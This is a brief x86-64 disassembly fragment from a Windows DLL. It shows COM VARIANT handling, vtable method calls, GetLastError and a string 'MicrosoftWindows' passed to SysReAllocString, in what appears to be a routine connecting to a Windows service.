call qword [sym.imp.OLEAUT32.dll_VariantClear]
movups xmm1, xmmword [rsp + 0x60]
lea rcx, [rbp - 0x80]
mov rax, qword [rbx]
movsd xmm0, qword [rsp + 0x70]
lea r9, [rbp - 0x60]
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x40]
mov rcx, rbx
movaps xmmword [rbp - 0x80], xmm1
lea rdx, [rbp - 0x20]
movaps xmmword [rbp - 0x60], xmm1
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x20], xmm1
movsd qword [rbp - 0x70], xmm0
movsd qword [rbp - 0x50], xmm0
movsd qword [rbp - 0x30], xmm0
movsd qword [rbp - 0x10], xmm0
call qword [rax + 0x50]
test eax, eax
jns 0x180003323
call qword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x180003346
lea rcx, str.MicrosoftWindows
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov r9, qword [rbx]
mov r8, rdi
mov rdx, rax
mov rcx, rbx
call qword [r9 + gethostname]
test eax, eax
js 0x18000331b
xor eax, eax
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret